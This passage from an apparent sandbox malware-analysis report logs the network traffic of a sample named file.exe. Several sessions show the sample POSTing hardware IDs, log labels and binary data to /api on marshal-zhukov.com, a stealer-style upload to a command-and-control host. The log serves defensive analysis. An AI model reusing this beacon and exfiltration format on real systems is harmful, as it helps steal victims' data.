3qAMBNPItPRE5l/bBzF2b8Hiw/ICtzWLujQ3vZi6f0GN6CIv6I2QxwzxA8NDPnshlqPL9Au7PYm1N33607FsBdmhCA7cyrT8SOJH3AA6eG7B64e5R7Qqz+R7UuTTs2FByuYUSNrD8aUM4kTcBTx7YMjrwv8DsjSJvzRz9tmyYw3bogwJ0cS+9kmuA5oEITc5jtLE4RCjPs+jdW6z37EnWZWpHwLXwbTySe1C3Q4/e2vH68H4DqExg7I8ef/WsG0
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 41 50 50 78 62 62 36 52 2b 5a 47 31 51 55 72 65 32 2f 63 35 74 58 6c 52 2f 31 79 69 4b 52 37 4c 37 50 75 75 6e 63 52 31 75 6f 38 48 74 37 5a 75 76 42 41 72 6c 4b 55 47 6e 6c 77 62 59 36 37 68 2f 45 49 75 6a 47 41 76 54 4a 37 2f 74 32 30 59 67 44 54 72 41 63 43 33 63 6d 33 2f 45 6e 6b 54 74 73 4a 4d 48 42 70 79 65 44 56 74 30 6e 7a 4e 5a 66 38 59 7a 66 61 33 36 39 70 45 5a 57 33 51 78 47 64 79 4c 32 39 46 4b 35 4a 30 41 77 39 63 47 33 49 35 73 48 36 42 72 77 7a 6a 37 4d 2f 66 50 72 65 76 47 6f 45 32 4b 77 66 41 74 62 41 76 66 52 41 34 77 32 55 51 7a 35 76 49 5a 61 6a 39 76 6f 4a 76 54 57 5a 2f 43 51 35 36 70 69 36 61 30 47 4e 36 41 77 45 30 73 79 2b 2f 6b 2f 76 52 38 67 52 4e 58 35 70 79 2b 2f 4d 2b 51 47 68 4e 49 43 31 4f 48 54 36 33 37 56 72 43 39 61 76 Data Ascii: APPxbb6R+ZG1QUre2/c5tXlR/1yiKR7L7PuuncR1uo8Ht7ZuvBArlKUGnlwbY67h/EIujGAvTJ7/t20YgDTrAcC3cm3/EnkTtsJMHBpyeDVt0nzNZf8Yzfa369pEZW3QxGdyL29FK5J0Aw9cG3I5sH6Brwzj7M/fPrevGoE2KwfAtbAvfRA4w2UQz5vIZaj9voJvTWZ/CQ56pi6a0GN6AwE0sy+/k/vR8gRNX5py+/M+QGhNIC1OHT637VrC9av
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 65 6e 37 56 76 70 55 70 51 61 65 58 42 74 6a 72 75 48 38 51 36 31 4e 59 6d 79 4b 58 4c 31 31 37 4a 75 43 4e 47 67 44 67 6a 5a 79 37 62 34 54 2b 4a 47 33 51 41 32 63 32 6a 41 36 73 69 33 53 66 4d 31 6c 2f 78 6a 4e 39 4c 44 76 6d 73 4d 6c 62 64 44 45 5a 33 49 76 62 30 55 72 6b 48 55 42 6a 6c 39 5a 38 72 6d 77 66 30 43 73 7a 6d 4d 73 7a 39 78 39 39 65 39 62 41 6a 55 72 67 67 43 31 73 6d 38 2f 6b 72 6f 44 5a 52 44 50 6d 38 68 6c 71 50 6e 37 41 71 2f 4e 63 2b 6a 64 57 36 7a 33 37 45 6e 57 5a 57 6a 41 51 7a 61 7a 37 7a 2b 52 4f 74 4a 30 41 59 35 66 33 50 47 34 38 44 6c 46 62 4d 37 69 72 41 34 64 2f 66 65 74 47 45 43 30 65 68 44 53 4e 72 58 38 61 55 4d 77 30 48 64 4b 6a 35 73 49 64 47 74 33 72 63 41 76 33 4c 58 2f 44 70 38 2b 64 65 77 5a 41 66 57 6f 77 67 43 33 Data Ascii: en7VvpUpQaeXBtjruH8Q61NYmyKXL117JuCNGgDgjZy7b4T+JG3QA2c2jA6si3SfM1l/xjN9LDvmsMlbdDEZ3Ivb0UrkHUBjl9Z8rmwf0CszmMsz9x99e9bAjUrggC1sm8/kroDZRDPm8hlqPn7Aq/Nc+jdW6z37EnWZWjAQzaz7z+ROtJ0AY5f3PG48DlFbM7irA4d/fetGEC0ehDSNrX8aUMw0HdKj5sIdGt3rcAv3LX/Dp8+dewZAfWowgC3
2024-11-28 12:09:10 UTC	410	IN	Data Raw: 61 72 68 57 49 54 58 6c 6c 49 5a 61 6a 67 50 51 56 6f 54 53 4d 71 6a 67 77 7a 65 61 61 63 51 76 53 75 41 6f 66 30 6f 2f 2f 76 55 4f 75 46 65 4e 44 4d 48 42 36 33 2f 58 4b 35 77 44 7a 44 63 48 38 49 7a 65 72 6d 49 68 6b 44 39 75 76 47 78 6d 51 36 4b 66 33 53 2f 35 4b 7a 51 78 35 4f 53 48 49 6f 35 2b 6b 53 66 4d 32 6e 76 78 6a 4a 36 47 44 36 44 52 57 68 66 6f 53 52 73 53 50 70 37 30 55 76 41 4f 61 45 58 6b 76 49 59 6e 67 31 65 55 42 73 43 53 4d 2b 77 56 4a 31 4d 4b 77 59 52 62 45 6c 6a 4d 50 78 38 4b 33 36 6c 32 69 57 4e 6b 4e 4e 33 42 33 6a 71 32 48 2b 45 66 72 43 38 2f 30 65 30 69 39 6d 4b 55 6e 57 5a 57 64 44 67 62 54 79 4b 66 73 41 63 6c 58 31 77 55 75 5a 69 47 41 6f 38 47 33 58 2b 4e 38 7a 37 67 71 4e 36 75 49 37 7a 78 55 68 76 39 64 57 73 4b 42 71 4c Data Ascii: arhWITXllIZajgPQVoTSMqjgwzeaacQvSuAof0o//vUOuFeNDMHB63/XK5wDzDcH8IzermIhkD9uvGxmQ6Kf3S/5KzQx5OSHIo5+kSfM2nvxjJ6GD6DRWhfoSRsSPp70UvAOaEXkvIYng1eUBsCSM+wVJ1MKwYRbEljMPx8K36l2iWNkNN3B3jq2H+EfrC8/0e0i9mKUnWZWdDgbTyKfsAclX1wUuZiGAo8G3X+N8z7gqN6uI7zxUhv9dWsKBqL
2024-11-28 12:09:10 UTC	1369	IN	Data Raw: 38 30 35 0d 0a 30 35 64 57 79 62 41 44 72 6c 69 4d 46 33 4d 79 2f 76 33 33 34 51 4d 6f 41 50 48 42 66 38 4f 33 41 34 77 43 39 4e 49 2f 38 64 54 66 38 6d 4f 56 65 51 5a 33 6f 4d 6b 61 64 31 2f 47 6c 44 4e 74 4f 31 41 30 2b 59 58 43 44 77 4e 48 36 43 4c 67 7a 7a 2f 4a 37 63 62 4f 41 37 53 6c 42 30 62 6c 4e 55 49 32 64 36 71 67 66 75 52 32 49 48 48 64 75 49 64 69 6a 6e 36 56 4a 38 79 44 50 35 48 73 77 2f 64 57 38 5a 41 2f 57 75 68 38 4f 33 74 6d 79 75 6e 4c 51 62 4e 63 49 4e 58 70 75 78 64 33 35 31 67 71 34 50 6f 4b 7a 4d 45 6e 4e 7a 62 35 70 44 39 4b 2b 48 45 69 54 6a 37 36 39 46 4e 63 4e 6b 6b 4d 47 4f 53 48 57 6f 35 2b 33 4d 72 41 38 67 62 73 74 5a 72 37 35 73 47 77 4e 32 4b 63 47 53 4a 4f 50 74 37 30 55 76 67 4f 61 42 79 67 33 4f 5a 36 78 6e 4b 4a 55 35 Data Ascii: 80505dWybADrliMF3My/v334QMoAPHBf8O3A4wC9NI/8dTf8mOVeQZ3oMkad1/GlDNtO1A0+YXCDwNH6CLgzz/J7cbOA7SlB0blNUI2d6qgfuR2IHHduIdijn6VJ8yDP5Hsw/dW8ZA/Wuh8O3tmyunLQbNcINXpuxd351gq4PoKzMEnNzb5pD9K+HEiTj769FNcNkkMGOSHWo5+3MrA8gbstZr75sGwN2KcGSJOPt70UvgOaByg3OZ6xnKJU5
2024-11-28 12:09:10 UTC	691	IN	Data Raw: 38 62 66 54 65 6d 30 64 42 6d 2b 67 43 53 49 58 32 38 62 55 4d 30 51 4f 61 47 33 6b 76 49 66 76 67 79 66 6b 41 70 53 50 43 6d 53 78 30 34 39 36 2b 4a 30 2b 56 72 6b 31 51 6a 59 48 78 2b 56 32 75 46 59 70 52 59 69 49 79 6d 62 4f 56 36 45 6d 71 63 70 6e 38 59 79 57 39 6d 4b 38 6e 57 5a 58 76 44 68 72 50 79 62 4c 72 54 36 6c 7a 35 43 55 36 5a 6d 76 76 37 74 66 77 4f 59 30 6e 6a 4c 49 31 63 4f 58 4a 2f 53 6c 42 32 75 68 56 4d 5a 32 48 2f 66 74 50 2b 41 33 6c 54 58 6c 76 49 5a 61 6a 38 76 51 4a 76 54 57 5a 72 58 5a 52 38 4d 6d 33 52 67 7a 46 72 30 31 47 6e 63 6e 78 70 52 2b 67 44 64 34 53 65 53 38 78 6e 4c 69 53 70 46 44 6a 59 4a 44 79 49 6a 66 6c 6d 4f 55 31 54 35 57 36 54 56 43 64 69 4c 4c 76 58 75 68 4f 7a 41 42 2b 53 56 2f 37 34 4d 6e 35 41 4b 55 48 6a 4b Data Ascii: 8bfTem0dBm+gCSIX28bUM0QOaG3kvIfvgyfkApSPCmSx0496+J0+Vrk1QjYHx+V2uFYpRYiIymbOV6Emqcpn8YyW9mK8nWZXvDhrPybLrT6lz5CU6Zmvv7tfwOY0njLI1cOXJ/SlB2uhVMZ2H/ftP+A3lTXlvIZaj8vQJvTWZrXZR8Mm3RgzFr01GncnxpR+gDd4SeS8xnLiSpFDjYJDyIjflmOU1T5W6TVCdiLLvXuhOzAB+SV/74Mn5AKUHjK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:11 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C7WW5RL7OLGREZ2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18151 Host: marshal-zhukov.com
2024-11-28 12:09:11 UTC	15331	OUT	Data Raw: 2d 2d 43 37 57 57 35 52 4c 37 4f 4c 47 52 45 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 43 37 57 57 35 52 4c 37 4f 4c 47 52 45 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 37 57 57 35 52 4c 37 4f 4c 47 52 45 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --C7WW5RL7OLGREZ2Content-Disposition: form-data; name="hwid"6DD6B9624F26A2A1EFA3D63B69E7CA14--C7WW5RL7OLGREZ2Content-Disposition: form-data; name="pid"2--C7WW5RL7OLGREZ2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-28 12:09:11 UTC	2820	OUT	Data Raw: 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 Data Ascii: Sh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q
2024-11-28 12:09:15 UTC	1045	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e89r2mmcib12s4d1298vrvq8bn; expires=Mon, 24-Mar-2025 05:55:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yd342zSfIZ%2BSmkaSju2%2FY7yVxs7BshMJYKBiQhEC6jtx0SFdJtfCposG301b%2BZK9Lhbt%2BauPmFajZBQ7T5GCQnWgyVlhaJbEKectrjFodbLdIJYcT87q57b8sJ3uucjUbFNNThk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a3f687c43425d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2225&min_rtt=2219&rtt_var=836&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19112&delivery_rate=1315908&cwnd=193&unsent_bytes=0&cid=58da6df1284aca25&ts=3715&x=0"
2024-11-28 12:09:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-28 12:09:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kVOOF6t5ugSsvNa&MD=vea5wBbf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 12:09:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4842daa9-d69f-49f7-a59d-a1d78afa6f24 MS-RequestId: d72de2f4-f838-4602-b7ec-8e690a049e1a MS-CV: NYfazwQqWkiT6z8U.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 12:09:15 GMT Connection: close Content-Length: 24490
2024-11-28 12:09:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 12:09:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49736	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:17 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RMPD2DFP7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8736 Host: marshal-zhukov.com
2024-11-28 12:09:17 UTC	8736	OUT	Data Raw: 2d 2d 52 4d 50 44 32 44 46 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 52 4d 50 44 32 44 46 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 4d 50 44 32 44 46 50 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 52 4d 50 44 32 44 46 50 37 0d 0a 43 6f 6e 74 65 6e Data Ascii: --RMPD2DFP7Content-Disposition: form-data; name="hwid"6DD6B9624F26A2A1EFA3D63B69E7CA14--RMPD2DFP7Content-Disposition: form-data; name="pid"2--RMPD2DFP7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--RMPD2DFP7Conten
2024-11-28 12:09:26 UTC	1041	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nkmn5utkbs578n558aa4t0u15e; expires=Mon, 24-Mar-2025 05:56:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3vAfyYdFkLylcDTcxA00V7HKB8bzlhkYKOCPhdXWEjOIjZUQ3aggzFPjkDGloKSJF%2FfdewRnTcJS9Wi%2FPzzK0KiKUXVQBlREM05vPpJw4O2luL2CG%2BPyNRfpCSZ0ZUs1Se8lhnE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a3f8a784b436d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2358&min_rtt=2350&rtt_var=897&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9668&delivery_rate=1208609&cwnd=159&unsent_bytes=0&cid=18e2992c2d5293f2&ts=9036&x=0"
2024-11-28 12:09:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-28 12:09:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:27 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AQSI54FQYL8W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: marshal-zhukov.com
2024-11-28 12:09:27 UTC	15331	OUT	Data Raw: 2d 2d 41 51 53 49 35 34 46 51 59 4c 38 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 41 51 53 49 35 34 46 51 59 4c 38 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 51 53 49 35 34 46 51 59 4c 38 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 51 53 49 35 34 46 51 Data Ascii: --AQSI54FQYL8WContent-Disposition: form-data; name="hwid"6DD6B9624F26A2A1EFA3D63B69E7CA14--AQSI54FQYL8WContent-Disposition: form-data; name="pid"3--AQSI54FQYL8WContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--AQSI54FQ
2024-11-28 12:09:27 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-28 12:09:35 UTC	1049	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d15r30vb4jsd9buei4m1lg4f0v; expires=Mon, 24-Mar-2025 05:56:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SfCgjXd72688LdgaOxgSGLfkPsqcCsAHQx%2FDxwb8nz0sOkyXIKrVmRXQUSVgl%2Fp1lWRs%2FTukvgL7BIMG1syuW5uvi%2BDBmWri4bFkgBZ2%2FJJ6cOX6k%2BwwjfLlmy71Uxkxj5ZayzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a3fcc4b5e420a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1729&rtt_var=662&sent=17&recv=26&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21365&delivery_rate=1634938&cwnd=251&unsent_bytes=0&cid=f8303f1a8053fb1d&ts=8488&x=0"
2024-11-28 12:09:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-28 12:09:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:37 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=79PI4SBC5TZDB137JJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1276 Host: marshal-zhukov.com
2024-11-28 12:09:37 UTC	1276	OUT	Data Raw: 2d 2d 37 39 50 49 34 53 42 43 35 54 5a 44 42 31 33 37 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 37 39 50 49 34 53 42 43 35 54 5a 44 42 31 33 37 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 39 50 49 34 53 42 43 35 54 5a 44 42 31 33 37 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --79PI4SBC5TZDB137JJContent-Disposition: form-data; name="hwid"6DD6B9624F26A2A1EFA3D63B69E7CA14--79PI4SBC5TZDB137JJContent-Disposition: form-data; name="pid"1--79PI4SBC5TZDB137JJContent-Disposition: form-data; name="lid"LOGS11--LiveT
